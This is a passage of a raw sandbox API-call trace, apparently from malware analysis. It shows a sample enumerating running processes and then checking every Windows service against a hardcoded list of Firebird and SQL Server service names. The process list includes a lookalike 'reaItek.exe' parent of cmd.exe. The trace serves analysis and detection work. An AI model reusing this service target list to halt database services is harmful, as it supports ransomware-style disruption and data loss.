(lpString="quantum_appeals_das.exe") returned 23 [0104.795] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0104.795] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0104.796] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0104.796] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0104.796] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0104.797] lstrlenW (lpString="dome.exe") returned 8 [0104.797] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0104.798] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0104.798] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0104.799] lstrlenW (lpString="paying.exe") returned 10 [0104.799] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0104.800] lstrlenW (lpString="emission.exe") returned 12 [0104.800] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0104.801] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0104.801] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0104.802] lstrlenW (lpString="charter.exe") returned 11 [0104.802] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0104.802] lstrlenW (lpString="nickel.exe") returned 10 [0104.803] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0104.803] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0104.803] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0104.804] lstrlenW (lpString="wrist.exe") returned 9 [0104.804] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0104.805] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0104.805] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0104.806] lstrlenW (lpString="neck.exe") returned 8 [0104.806] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0104.807] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0104.807] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0104.808] lstrlenW (lpString="dllhost.exe") returned 11 [0104.808] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0104.808] lstrlenW (lpString="taskhostw.exe") returned 13 [0104.809] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.810] lstrlenW (lpString="svchost.exe") returned 11 [0104.810] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.862] lstrlenW (lpString="svchost.exe") returned 11 [0104.862] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0104.863] lstrlenW (lpString="reaItek.exe") returned 11 [0104.863] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.864] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0104.864] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0104.865] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0104.865] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.865] lstrlenW (lpString="conhost.exe") returned 11 [0104.865] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0104.866] lstrlenW (lpString="cmd.exe") returned 7 [0104.866] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.867] lstrlenW (lpString="conhost.exe") returned 11 [0104.867] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0104.868] lstrlenW (lpString="sppsvc.exe") returned 10 [0104.868] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0104.869] CloseHandle (hObject=0x388) returned 1 [0104.869] Sleep (dwMilliseconds=0x1f4) [0105.395] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fedb8 [0105.395] EnumServicesStatusExW (in: hSCManager=0x5fedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0105.395] GetLastError () returned 0xea [0105.396] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x61c998 [0105.396] EnumServicesStatusExW (in: hSCManager=0x5fedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c998, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c998, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0105.397] CloseServiceHandle (hSCObject=0x5fedb8) returned 1 [0105.397] lstrlenW (lpString="Appinfo") returned 7 [0105.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0105.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0105.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0105.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0105.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0105.397] lstrlenW (lpString="AppXSvc") returned 7 [0105.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0105.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0105.397] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0105.397] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0105.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0105.397] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0105.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.397] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0105.397] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0105.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0105.397] lstrlenW (lpString="Audiosrv") returned 8 [0105.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0105.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0105.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0105.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0105.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0105.398] lstrlenW (lpString="BFE") returned 3 [0105.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0105.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0105.398] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0105.398] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0105.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0105.398] lstrlenW (lpString="BITS") returned 4 [0105.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0105.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0105.398] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0105.398] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0105.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0105.398] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0105.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0105.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0105.398] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0105.398] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0105.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0105.398] lstrlenW (lpString="CDPSvc") returned 6 [0105.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0105.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0105.398] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0105.398] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0105.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0105.398] lstrlenW (lpString="ClickToRunSvc") returned 13 [0105.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0105.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0105.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0105.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0105.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0105.399] lstrlenW (lpString="ClipSVC") returned 7 [0105.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0105.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0105.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0105.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0105.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0105.399] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0105.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0105.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0105.399] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0105.399] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0105.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0105.399] lstrlenW (lpString="CryptSvc") returned 8 [0105.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0105.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0105.399] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0105.399] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0105.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0105.399] lstrlenW (lpString="DcomLaunch") returned 10 [0105.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.399] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0105.399] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0105.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0105.399] lstrlenW (lpString="DeviceAssociationService") returned 24 [0105.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0105.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0105.400] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0105.400] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0105.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0105.400] lstrlenW (lpString="Dhcp") returned 4 [0105.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0105.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0105.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0105.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0105.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0105.400] lstrlenW (lpString="Dnscache") returned 8 [0105.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0105.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0105.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0105.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0105.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0105.400] lstrlenW (lpString="DoSvc") returned 5 [0105.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0105.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0105.400] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0105.400] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0105.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0105.400] lstrlenW (lpString="DPS") returned 3 [0105.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0105.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0105.400] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0105.400] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0105.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0105.400] lstrlenW (lpString="DusmSvc") returned 7 [0105.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0105.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0105.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0105.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0105.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0105.401] lstrlenW (lpString="EventLog") returned 8 [0105.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0105.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0105.401] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0105.401] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0105.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0105.401] lstrlenW (lpString="EventSystem") returned 11 [0105.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0105.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0105.401] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0105.401] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0105.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0105.401] lstrlenW (lpString="FontCache") returned 9 [0105.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0105.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0105.401] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0105.401] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0105.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0105.401] lstrlenW (lpString="gpsvc") returned 5 [0105.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0105.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0105.401] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0105.401] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0105.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0105.401] lstrlenW (lpString="iphlpsvc") returned 8 [0105.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0105.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0105.402] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0105.402] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0105.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0105.402] lstrlenW (lpString="KeyIso") returned 6 [0105.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0105.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0105.402] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0105.402] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0105.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0105.402] lstrlenW (lpString="LanmanServer") returned 12 [0105.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0105.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0105.402] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0105.402] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0105.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0105.402] lstrlenW (lpString="LanmanWorkstation") returned 17 [0105.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.402] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0105.402] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0105.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0105.402] lstrlenW (lpString="lfsvc") returned 5 [0105.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0105.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0105.402] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0105.402] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0105.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0105.402] lstrlenW (lpString="LicenseManager") returned 14 [0105.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0105.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0105.403] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0105.403] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0105.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0105.403] lstrlenW (lpString="lmhosts") returned 7 [0105.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0105.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0105.403] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0105.403] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0105.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0105.403] lstrlenW (lpString="LSM") returned 3 [0105.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0105.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0105.403] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0105.403] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0105.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0105.403] lstrlenW (lpString="MpsSvc") returned 6 [0105.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0105.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0105.403] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0105.403] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0105.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0105.403] lstrlenW (lpString="NcbService") returned 10 [0105.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0105.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0105.403] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0105.403] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0105.403] lstrcmpiW 